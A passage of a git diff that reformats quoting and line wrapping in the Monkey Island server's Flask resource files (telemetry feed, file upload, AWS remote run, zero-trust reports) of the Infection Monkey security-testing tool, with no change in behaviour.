MonkeyDownload.get_executable_full_path(executable_filename) if os.path.isfile(real_path): - result['size'] = os.path.getsize(real_path) + result["size"] = os.path.getsize(real_path) return result return {} @staticmethod def get_executable_full_path(executable_filename): - real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", 'binaries', executable_filename) + real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", executable_filename) return real_path @staticmethod @@ -102,15 +105,16 @@ def log_executable_hashes(): """ Logs all the hashes of the monkey executables for debugging ease (can check what Monkey version you have etc.). """ - filenames = set([x['filename'] for x in MONKEY_DOWNLOADS]) + filenames = set([x["filename"] for x in MONKEY_DOWNLOADS]) for filename in filenames: filepath = MonkeyDownload.get_executable_full_path(filename) if os.path.isfile(filepath): - with open(filepath, 'rb') as monkey_exec_file: + with open(filepath, "rb") as monkey_exec_file: file_contents = monkey_exec_file.read() - logger.debug("{} hashes:\nSHA-256 {}".format( - filename, - hashlib.sha256(file_contents).hexdigest() - )) + logger.debug( + "{} hashes:\nSHA-256 {}".format( + filename, hashlib.sha256(file_contents).hexdigest() + ) + ) else: logger.debug("No monkey executable for {}.".format(filepath)) diff --git a/monkey/monkey_island/cc/resources/netmap.py b/monkey/monkey_island/cc/resources/netmap.py index 899dc478c60..1dfa14657e2 100644 --- a/monkey/monkey_island/cc/resources/netmap.py +++ b/monkey/monkey_island/cc/resources/netmap.py @@ -4,7 +4,7 @@ from monkey_island.cc.services.netmap.net_edge import NetEdgeService from monkey_island.cc.services.netmap.net_node import NetNodeService -__author__ = 'Barak' +__author__ = "Barak" class NetMap(flask_restful.Resource): @@ -13,8 +13,4 @@ def get(self, **kw): net_nodes = NetNodeService.get_all_net_nodes() net_edges = NetEdgeService.get_all_net_edges() - return \ - { - "nodes": net_nodes, - "edges": net_edges - } + return {"nodes": net_nodes, "edges": net_edges} diff --git a/monkey/monkey_island/cc/resources/node.py b/monkey/monkey_island/cc/resources/node.py index ff630b9a4f9..ffaadaec9a1 100644 --- a/monkey/monkey_island/cc/resources/node.py +++ b/monkey/monkey_island/cc/resources/node.py @@ -4,13 +4,13 @@ from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.node import NodeService -__author__ = 'Barak' +__author__ = "Barak" class Node(flask_restful.Resource): @jwt_required def get(self): - node_id = request.args.get('id') + node_id = request.args.get("id") if node_id: return NodeService.get_displayed_node_by_id(node_id) diff --git a/monkey/monkey_island/cc/resources/node_states.py b/monkey/monkey_island/cc/resources/node_states.py index 87be11ab525..073aafffd38 100644 --- a/monkey/monkey_island/cc/resources/node_states.py +++ b/monkey/monkey_island/cc/resources/node_states.py @@ -7,4 +7,4 @@ class NodeStates(flask_restful.Resource): @jwt_required def get(self): - return {'node_states': [state.value for state in NodeStateList]} + return {"node_states": [state.value for state in NodeStateList]} diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py index 4fe05c98f17..aa5465b0d88 100644 --- a/monkey/monkey_island/cc/resources/pba_file_download.py +++ b/monkey/monkey_island/cc/resources/pba_file_download.py @@ -3,7 +3,7 @@ from monkey_island.cc.services.post_breach_files import ABS_UPLOAD_PATH -__author__ = 'VakarisZ' +__author__ = "VakarisZ" class PBAFileDownload(flask_restful.Resource): diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 6d6795f7483..36f138f1055 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -8,21 +8,25 @@ from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.post_breach_files import (ABS_UPLOAD_PATH, PBA_LINUX_FILENAME_PATH, - PBA_WINDOWS_FILENAME_PATH) +from monkey_island.cc.services.post_breach_files import ( + ABS_UPLOAD_PATH, + PBA_LINUX_FILENAME_PATH, + PBA_WINDOWS_FILENAME_PATH, +) -__author__ = 'VakarisZ' +__author__ = "VakarisZ" LOG = logging.getLogger(__name__) # Front end uses these strings to identify which files to work with (linux of windows) -LINUX_PBA_TYPE = 'PBAlinux' -WINDOWS_PBA_TYPE = 'PBAwindows' +LINUX_PBA_TYPE = "PBAlinux" +WINDOWS_PBA_TYPE = "PBAwindows" class FileUpload(flask_restful.Resource): """ File upload endpoint used to exchange files with filepond component on the front-end """ + def __init__(self): # Create all directories on the way if they don't exist ABS_UPLOAD_PATH.mkdir(parents=True, exist_ok=True) @@ -50,9 +54,7 @@ def post(self, file_type): """ filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE)) - response = Response( - response=filename, - status=200, mimetype='text/plain') + response = Response(response=filename, status=200, mimetype="text/plain") return response @jwt_required @@ -62,13 +64,15 @@ def delete(self, file_type): :param file_type: Type indicates which file was deleted, linux of windows :return: Empty response """ - filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH + filename_path = ( + PBA_LINUX_FILENAME_PATH if file_type == "PBAlinux" else PBA_WINDOWS_FILENAME_PATH + ) filename = ConfigService.get_config_value(filename_path) file_path = ABS_UPLOAD_PATH.joinpath(filename) try: if os.path.exists(file_path): os.remove(file_path) - ConfigService.set_config_value(filename_path, '') + ConfigService.set_config_value(filename_path, "") except OSError as e: LOG.error("Can't remove previously uploaded post breach files: %s" % e) @@ -82,8 +86,10 @@ def upload_pba_file(request_, is_linux=True): :param is_linux: Boolean indicating if this file is for windows or for linux :return: filename string """ - filename = secure_filename(request_.files['filepond'].filename) + filename = secure_filename(request_.files["filepond"].filename) file_path = ABS_UPLOAD_PATH.joinpath(filename).absolute() - request_.files['filepond'].save(str(file_path)) - ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename) + request_.files["filepond"].save(str(file_path)) + ConfigService.set_config_value( + (PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename + ) return filename diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py index 0e80f25c0c8..0e6e6df1057 100644 --- a/monkey/monkey_island/cc/resources/remote_run.py +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -8,10 +8,14 @@ from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService -CLIENT_ERROR_FORMAT = "ClientError, error message: '{}'. Probably, the IAM role that has been associated with the " \ - "instance doesn't permit SSM calls. " -NO_CREDS_ERROR_FORMAT = "NoCredentialsError, error message: '{}'. Probably, no IAM role has been associated with the " \ - "instance. " +CLIENT_ERROR_FORMAT = ( + "ClientError, error message: '{}'. Probably, the IAM role that has been associated with the " + "instance doesn't permit SSM calls. " +) +NO_CREDS_ERROR_FORMAT = ( + "NoCredentialsError, error message: '{}'. Probably, no IAM role has been associated with the " + "instance. " +) class RemoteRun(flask_restful.Resource): @@ -20,24 +24,24 @@ def __init__(self): RemoteRunAwsService.init() def run_aws_monkeys(self, request_body): - instances = request_body.get('instances') - island_ip = request_body.get('island_ip') + instances = request_body.get("instances") + island_ip = request_body.get("island_ip") return RemoteRunAwsService.run_aws_monkeys(instances, island_ip) @jwt_required def get(self): - action = request.args.get('action') - if action == 'list_aws': + action = request.args.get("action") + if action == "list_aws": is_aws = RemoteRunAwsService.is_running_on_aws() - resp = {'is_aws': is_aws} + resp = {"is_aws": is_aws} if is_aws: try: - resp['instances'] = AwsService.get_instances() + resp["instances"] = AwsService.get_instances() except NoCredentialsError as e: - resp['error'] = NO_CREDS_ERROR_FORMAT.format(e) + resp["error"] = NO_CREDS_ERROR_FORMAT.format(e) return jsonify(resp) except ClientError as e: - resp['error'] = CLIENT_ERROR_FORMAT.format(e) + resp["error"] = CLIENT_ERROR_FORMAT.format(e) return jsonify(resp) return jsonify(resp) @@ -47,11 +51,11 @@ def get(self): def post(self): body = json.loads(request.data) resp = {} - if body.get('type') == 'aws': + if body.get("type") == "aws": RemoteRunAwsService.update_aws_region_authless() result = self.run_aws_monkeys(body) - resp['result'] = result + resp["result"] = result return jsonify(resp) # default action - return make_response({'error': 'Invalid action'}, 500) + return make_response({"error": "Invalid action"}, 500) diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 041d38b5e39..b7fc53d60b5 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -10,7 +10,7 @@ from monkey_island.cc.services.database import Database from monkey_island.cc.services.infection_lifecycle import InfectionLifecycle -__author__ = 'Barak' +__author__ = "Barak" logger = logging.getLogger(__name__) @@ -21,7 +21,7 @@ def __init__(self): def get(self, action=None): if not action: - action = request.args.get('action') + action = request.args.get("action") if not action: return self.get_server_info() @@ -30,13 +30,14 @@ def get(self, action=None): elif action == "killall": return jwt_required(InfectionLifecycle.kill_all)() elif action == "is-up": - return {'is-up': True} + return {"is-up": True} else: - return make_response(400, {'error': 'unknown action'}) + return make_response(400, {"error": "unknown action"}) @jwt_required def get_server_info(self): return jsonify( ip_addresses=local_ip_addresses(), mongo=str(mongo.db), - completed_steps=InfectionLifecycle.get_completed_steps()) + completed_steps=InfectionLifecycle.get_completed_steps(), + ) diff --git a/monkey/monkey_island/cc/resources/security_report.py b/monkey/monkey_island/cc/resources/security_report.py index db434d616f1..b2ce0704eb4 100644 --- a/monkey/monkey_island/cc/resources/security_report.py +++ b/monkey/monkey_island/cc/resources/security_report.py @@ -5,7 +5,6 @@ class SecurityReport(flask_restful.Resource): - @jwt_required def get(self): return ReportService.get_report() diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 75feb20a49c..9bf2f7ddab4 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -14,7 +14,7 @@ from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.processing import process_telemetry -__author__ = 'Barak' +__author__ = "Barak" logger = logging.getLogger(__name__) @@ -22,37 +22,42 @@ class Telemetry(flask_restful.Resource): @jwt_required def get(self, **kw): - monkey_guid = request.args.get('monkey_guid') - telem_category = request.args.get('telem_category') - timestamp = request.args.get('timestamp') + monkey_guid = request.args.get("monkey_guid") + telem_category = request.args.get("telem_category") + timestamp = request.args.get("timestamp") if "null" == timestamp: # special case to avoid ugly JS code... timestamp = None - result = {'timestamp': datetime.now().isoformat()} + result = {"timestamp": datetime.now().isoformat()} find_filter = {} if monkey_guid: - find_filter["monkey_guid"] = {'$eq': monkey_guid} + find_filter["monkey_guid"] = {"$eq": monkey_guid} if telem_category: - find_filter["telem_category"] = {'$eq': telem_category} + find_filter["telem_category"] = {"$eq": telem_category} if timestamp: - find_filter['timestamp'] = {'$gt': dateutil.parser.parse(timestamp)} + find_filter["timestamp"] = {"$gt": dateutil.parser.parse(timestamp)} - result['objects'] = self.telemetry_to_displayed_telemetry(mongo.db.telemetry.find(find_filter)) + result["objects"] = self.telemetry_to_displayed_telemetry( + mongo.db.telemetry.find(find_filter) + ) return result # Used by monkey. can't secure. @TestTelemStore.store_test_telem def post(self): telemetry_json = json.loads(request.data) - telemetry_json['data'] = json.loads(telemetry_json['data']) - telemetry_json['timestamp'] = datetime.now() - telemetry_json['command_control_channel'] = {'src': request.remote_addr, 'dst': request.host} + telemetry_json["data"] = json.loads(telemetry_json["data"]) + telemetry_json["timestamp"] = datetime.now() + telemetry_json["command_control_channel"] = { + "src": request.remote_addr, + "dst": request.host, + } # Monkey communicated, so it's alive. Update the TTL. - Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']).renew_ttl() + Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]).renew_ttl() - monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + monkey = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"]) NodeService.update_monkey_modify_time(monkey["_id"]) process_telemetry(telemetry_json) @@ -75,10 +80,10 @@ def telemetry_to_displayed_telemetry(telemetry): monkey_label = telem_monkey_guid x["monkey"] = monkey_label objects.append(x) - if x['telem_category'] == TelemCategoryEnum.SYSTEM_INFO and 'credentials' in x['data']: - for user in x['data']['credentials']: - if -1 != user.find(','): - new_user = user.replace(',', '.') - x['data']['credentials'][new_user] = x['data']['credentials'].pop(user) + if x["telem_category"] == TelemCategoryEnum.SYSTEM_INFO and "credentials" in x["data"]: + for user in x["data"]["credentials"]: + if -1 != user.find(","): + new_user = user.replace(",", ".") + x["data"]["credentials"][new_user] = x["data"]["credentials"].pop(user) return objects diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 3da328b99aa..4a2972cdbfa 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -13,45 +13,50 @@ logger = logging.getLogger(__name__) -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" class TelemetryFeed(flask_restful.Resource): @jwt_required def get(self, **kw): - timestamp = request.args.get('timestamp') + timestamp = request.args.get("timestamp") if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code... telemetries = mongo.db.telemetry.find({}) else: - telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}}) - telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)]) + telemetries = mongo.db.telemetry.find( + {"timestamp": {"$gt": dateutil.parser.parse(timestamp)}} + ) + telemetries = telemetries.sort([("timestamp", flask_pymongo.ASCENDING)]) try: - return \ - { - 'telemetries': [TelemetryFeed.get_displayed_telemetry(telem) for telem in telemetries - if TelemetryFeed.should_show_brief(telem)], - 'timestamp': datetime.now().isoformat() - } + return { + "telemetries": [ + TelemetryFeed.get_displayed_telemetry(telem) + for telem in telemetries + if TelemetryFeed.should_show_brief(telem) + ], + "timestamp": datetime.now().isoformat(), + } except KeyError as err: logger.error("Failed parsing telemetries. Error: {0}.".format(err)) - return {'telemetries': [], 'timestamp': datetime.now().isoformat()} + return {"telemetries": [], "timestamp": datetime.now().isoformat()} @staticmethod def get_displayed_telemetry(telem): - monkey = NodeService.get_monkey_by_guid(telem['monkey_guid']) - default_hostname = "GUID-" + telem['monkey_guid'] - return \ - { - 'id': telem['_id'], - 'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'), - 'hostname': monkey.get('hostname', default_hostname) if monkey else default_hostname, - 'brief': TelemetryFeed.get_telem_brief(telem) - } + monkey = NodeService.get_monkey_by_guid(telem["monkey_guid"]) + default_hostname = "GUID-" + telem["monkey_guid"] + return { + "id": telem["_id"], + "timestamp": telem["timestamp"].strftime("%d/%m/%Y %H:%M:%S"), + "hostname": monkey.get("hostname", default_hostname) if monkey else default_hostname, + "brief": TelemetryFeed.get_telem_brief(telem), + } @staticmethod def get_telem_brief(telem): - telem_brief_parser = TelemetryFeed.get_telem_brief_parser_by_category(telem['telem_category']) + telem_brief_parser = TelemetryFeed.get_telem_brief_parser_by_category( + telem["telem_category"] + ) return telem_brief_parser(telem) @staticmethod @@ -60,61 +65,62 @@ def get_telem_brief_parser_by_category(telem_category): @staticmethod def get_tunnel_telem_brief(telem): - tunnel = telem['data']['proxy'] + tunnel = telem["data"]["proxy"] if tunnel is None: - return 'No tunnel is used.' + return "No tunnel is used." else: tunnel_host_ip = tunnel.split(":")[-2].replace("//", "") - tunnel_host = NodeService.get_monkey_by_ip(tunnel_host_ip)['hostname'] - return 'Tunnel set up to machine: %s.' % tunnel_host + tunnel_host = NodeService.get_monkey_by_ip(tunnel_host_ip)["hostname"] + return "Tunnel set up to machine: %s." % tunnel_host @staticmethod def get_state_telem_brief(telem): - if telem['data']['done']: - return '''Monkey finishing its execution.''' + if telem["data"]["done"]: + return """Monkey finishing its execution.""" else: - return 'Monkey started.' + return "Monkey started." @staticmethod def get_exploit_telem_brief(telem): - target = telem['data']['machine']['ip_addr'] - exploiter = telem['data']['exploiter'] - result = telem['data']['result'] + target = telem["data"]["machine"]["ip_addr"] + exploiter = telem["data"]["exploiter"] + result = telem["data"]["result"] if result: - return 'Monkey successfully exploited %s using the %s exploiter.' % (target, exploiter) + return "Monkey successfully exploited %s using the %s exploiter." % (target, exploiter) else: - return 'Monkey failed exploiting %s using the %s exploiter.' % (target, exploiter) + return "Monkey failed exploiting %s using the %s exploiter." % (target, exploiter) @staticmethod def get_scan_telem_brief(telem): - return 'Monkey discovered machine %s.' % telem['data']['machine']['ip_addr'] + return "Monkey discovered machine %s." % telem["data"]["machine"]["ip_addr"] @staticmethod def get_systeminfo_telem_brief(telem): - return 'Monkey collected system information.' + return "Monkey collected system information." @staticmethod def get_trace_telem_brief(telem): - return 'Trace: %s' % telem['data']['msg'] + return "Trace: %s" % telem["data"]["msg"] @staticmethod def get_post_breach_telem_brief(telem): - return '%s post breach action executed on %s (%s) machine.' % (telem['data'][0]['name'], - telem['data'][0]['hostname'], - telem['data'][0]['ip']) + return "%s post breach action executed on %s (%s) machine." % ( + telem["data"][0]["name"], + telem["data"][0]["hostname"], + telem["data"][0]["ip"], + ) @staticmethod def should_show_brief(telem): - return telem['telem_category'] in TELEM_PROCESS_DICT - - -TELEM_PROCESS_DICT = \ - { - TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief, - TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, - TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief, - TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, - TelemCategoryEnum.SYSTEM_INFO: TelemetryFeed.get_systeminfo_telem_brief, - TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief, - TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief - } + return telem["telem_category"] in TELEM_PROCESS_DICT + + +TELEM_PROCESS_DICT = { + TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief, + TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, + TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief, + TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, + TelemCategoryEnum.SYSTEM_INFO: TelemetryFeed.get_systeminfo_telem_brief, + TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief, + TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief, +} diff --git a/monkey/monkey_island/cc/resources/test/clear_caches.py b/monkey/monkey_island/cc/resources/test/clear_caches.py index 34401b3187a..04c6b31d8f8 100644 --- a/monkey/monkey_island/cc/resources/test/clear_caches.py +++ b/monkey/monkey_island/cc/resources/test/clear_caches.py @@ -17,6 +17,7 @@ class ClearCaches(flask_restful.Resource): so we use this to clear the caches. :note: DO NOT CALL THIS IN PRODUCTION CODE as this will slow down the user experience. """ + @jwt_required def get(self, **kw): try: diff --git a/monkey/monkey_island/cc/resources/test/log_test.py b/monkey/monkey_island/cc/resources/test/log_test.py index a9c4f8b6269..c6ec50f7122 100644 --- a/monkey/monkey_island/cc/resources/test/log_test.py +++ b/monkey/monkey_island/cc/resources/test/log_test.py @@ -9,9 +9,9 @@ class LogTest(flask_restful.Resource): @jwt_required def get(self): - find_query = json_util.loads(request.args.get('find_query')) + find_query = json_util.loads(request.args.get("find_query")) log = mongo.db.log.find_one(find_query) if not log: - return {'results': None} - log_file = database.gridfs.get(log['file_id']) - return {'results': log_file.read().decode()} + return {"results": None} + log_file = database.gridfs.get(log["file_id"]) + return {"results": log_file.read().decode()} diff --git a/monkey/monkey_island/cc/resources/test/monkey_test.py b/monkey/monkey_island/cc/resources/test/monkey_test.py index da833347919..1122141d22e 100644 --- a/monkey/monkey_island/cc/resources/test/monkey_test.py +++ b/monkey/monkey_island/cc/resources/test/monkey_test.py @@ -9,5 +9,5 @@ class MonkeyTest(flask_restful.Resource): @jwt_required def get(self, **kw): - find_query = json_util.loads(request.args.get('find_query')) - return {'results': list(mongo.db.monkey.find(find_query))} + find_query = json_util.loads(request.args.get("find_query")) + return {"results": list(mongo.db.monkey.find(find_query))} diff --git a/monkey/monkey_island/cc/resources/test/telemetry_test.py b/monkey/monkey_island/cc/resources/test/telemetry_test.py index 29108070e7b..54be08d712c 100644 --- a/monkey/monkey_island/cc/resources/test/telemetry_test.py +++ b/monkey/monkey_island/cc/resources/test/telemetry_test.py @@ -9,5 +9,5 @@ class TelemetryTest(flask_restful.Resource): @jwt_required def get(self, **kw): - find_query = json_util.loads(request.args.get('find_query')) - return {'results': list(mongo.db.telemetry.find(find_query))} + find_query = json_util.loads(request.args.get("find_query")) + return {"results": list(mongo.db.telemetry.find(find_query))} diff --git a/monkey/monkey_island/cc/resources/test/utils/telem_store.py b/monkey/monkey_island/cc/resources/test/utils/telem_store.py index 707140c9e19..5920c8da30f 100644 --- a/monkey/monkey_island/cc/resources/test/utils/telem_store.py +++ b/monkey/monkey_island/cc/resources/test/utils/telem_store.py @@ -30,8 +30,16 @@ def decorated_function(*args, **kwargs): method = request.method content = request.data.decode() endpoint = request.path - name = str(request.url_rule).replace('/', '_').replace('<', '_').replace('>', '_').replace(':', '_') - TestTelem(name=name, method=method, endpoint=endpoint, content=content, time=time).save() + name = ( + str(request.url_rule) + .replace("/", "_") + .replace("<", "_") + .replace(">", "_") + .replace(":", "_") + ) + TestTelem( + name=name, method=method, endpoint=endpoint, content=content, time=time + ).save() return f(*args, **kwargs) return decorated_function @@ -46,7 +54,10 @@ def export_test_telems(): shutil.rmtree(TELEM_SAMPLE_DIR) mkdir(TELEM_SAMPLE_DIR) for test_telem in TestTelem.objects(): - with open(TestTelemStore.get_unique_file_path_for_test_telem(TELEM_SAMPLE_DIR, test_telem), 'w') as file: + with open( + TestTelemStore.get_unique_file_path_for_test_telem(TELEM_SAMPLE_DIR, test_telem), + "w", + ) as file: file.write(test_telem.to_json(indent=2)) TestTelemStore.TELEMS_EXPORTED = True logger.info("Telemetries exported!") @@ -59,13 +70,15 @@ def get_unique_file_path_for_test_telem(target_dir: str, test_telem: TestTelem): if path.exists(potential_filepath): continue return potential_filepath - raise Exception(f"Too many telemetries of the same category. Max amount {MAX_SAME_CATEGORY_TELEMS}") + raise Exception( + f"Too many telemetries of the same category. Max amount {MAX_SAME_CATEGORY_TELEMS}" + ) @staticmethod def _get_filename_by_test_telem(test_telem: TestTelem): endpoint_part = test_telem.name - return endpoint_part + '_' + test_telem.method + return endpoint_part + "_" + test_telem.method -if __name__ == '__main__': +if __name__ == "__main__": TestTelemStore.export_test_telems() diff --git a/monkey/monkey_island/cc/resources/version_update.py b/monkey/monkey_island/cc/resources/version_update.py index 4c2eca1e363..87aa96153f1 100644 --- a/monkey/monkey_island/cc/resources/version_update.py +++ b/monkey/monkey_island/cc/resources/version_update.py @@ -5,7 +5,7 @@ from common.version import get_version from monkey_island.cc.services.version_update import VersionUpdateService -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" logger = logging.getLogger(__name__) @@ -18,7 +18,7 @@ def __init__(self): # even when not authenticated def get(self): return { - 'current_version': get_version(), - 'newer_version': VersionUpdateService.get_newer_version(), - 'download_link': VersionUpdateService.get_download_link() + "current_version": get_version(), + "newer_version": VersionUpdateService.get_newer_version(), + "download_link": VersionUpdateService.get_download_link(), } diff --git a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py index ddef04b77c7..ce99390da3e 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py +++ b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py @@ -3,11 +3,16 @@ import flask_restful from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) class ZeroTrustFindingEvent(flask_restful.Resource): - @jwt_required def get(self, finding_id: str): - return {'events_json': json.dumps(MonkeyZTFindingService.get_events_by_finding(finding_id), default=str)} + return { + "events_json": json.dumps( + MonkeyZTFindingService.get_events_by_finding(finding_id), default=str + ) + } diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py index 53e757f1156..174e0284351 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py +++ b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py @@ -5,7 +5,6 @@ class AWSKeys(flask_restful.Resource): - @jwt_required def get(self): return get_aws_keys() diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py index dbed4dd51e2..5197b197253 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py +++ b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py @@ -6,29 +6,32 @@ from common.cloud.scoutsuite_consts import CloudProviders from common.utils.exceptions import InvalidAWSKeys from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import (is_cloud_authentication_setup, - set_aws_keys) +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import ( + is_cloud_authentication_setup, + set_aws_keys, +) class ScoutSuiteAuth(flask_restful.Resource): - @jwt_required def get(self, provider: CloudProviders): if provider == CloudProviders.AWS.value: is_setup, message = is_cloud_authentication_setup(provider) - return {'is_setup': is_setup, 'message': message} + return {"is_setup": is_setup, "message": message} else: - return {'is_setup': False, 'message': ''} + return {"is_setup": False, "message": ""} @jwt_required def post(self, provider: CloudProviders): key_info = json.loads(request.data) - error_msg = '' + error_msg = "" if provider == CloudProviders.AWS.value: try: - set_aws_keys(access_key_id=key_info['accessKeyId'], - secret_access_key=key_info['secretAccessKey'], - session_token=key_info['sessionToken']) + set_aws_keys( + access_key_id=key_info["accessKeyId"], + secret_access_key=key_info["secretAccessKey"], + session_token=key_info["sessionToken"], + ) except InvalidAWSKeys as e: error_msg = str(e) - return {'error_msg': error_msg} + return {"error_msg": error_msg} diff --git a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py index 433bf46318c..8b3ce9419e9 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py +++ b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py @@ -6,8 +6,12 @@ from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService -from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import PrincipleService -from monkey_island.cc.services.zero_trust.zero_trust_report.scoutsuite_raw_data_service import ScoutSuiteRawDataService +from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import ( + PrincipleService, +) +from monkey_island.cc.services.zero_trust.zero_trust_report.scoutsuite_raw_data_service import ( + ScoutSuiteRawDataService, +) REPORT_DATA_PILLARS = "pillars" REPORT_DATA_FINDINGS = "findings" @@ -16,7 +20,6 @@ class ZeroTrustReport(flask_restful.Resource): - @jwt_required def get(self, report_data=None): if report_data == REPORT_DATA_PILLARS: @@ -27,7 +30,8 @@ def get(self, report_data=None): return jsonify(FindingService.get_all_findings_for_ui()) elif report_data == REPORT_DATA_SCOUTSUITE: # Raw ScoutSuite data is already solved as json, no need to jsonify - return Response(ScoutSuiteRawDataService.get_scoutsuite_data_json(), - mimetype='application/json') + return Response( + ScoutSuiteRawDataService.get_scoutsuite_data_json(), mimetype="application/json" + ) flask_restful.abort(http.client.NOT_FOUND) diff --git a/monkey/monkey_island/cc/server_utils/bootloader_server.py b/monkey/monkey_island/cc/server_utils/bootloader_server.py index fbbd328156d..1532f1a8dc9 100644 --- a/monkey/monkey_island/cc/server_utils/bootloader_server.py +++ b/monkey/monkey_island/cc/server_utils/bootloader_server.py @@ -16,27 +16,26 @@ class BootloaderHttpServer(ThreadingMixIn, HTTPServer): - def __init__(self, mongo_url): self.mongo_client = pymongo.MongoClient(mongo_url) - server_address = ('', 5001) + server_address = ("", 5001) super().__init__(server_address, BootloaderHTTPRequestHandler) class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler): - def do_POST(self): - content_length = int(self.headers['Content-Length']) + content_length = int(self.headers["Content-Length"]) post_data = self.rfile.read(content_length).decode() - island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url(self.request.getsockname()[0]) + island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url( + self.request.getsockname()[0] + ) island_server_path = parse.urljoin(island_server_path, self.path[1:]) # The island server doesn't always have a correct SSL cert installed # (By default it comes with a self signed one), # that's why we're not verifying the cert in this request. - r = requests.post(url=island_server_path, - data=post_data, - verify=False, - timeout=SHORT_REQUEST_TIMEOUT) # noqa: DUO123 + r = requests.post( + url=island_server_path, data=post_data, verify=False, timeout=SHORT_REQUEST_TIMEOUT + ) # noqa: DUO123 try: if r.status_code != 200: diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 5a0e6958192..67c7209eb21 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -5,9 +5,7 @@ MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), 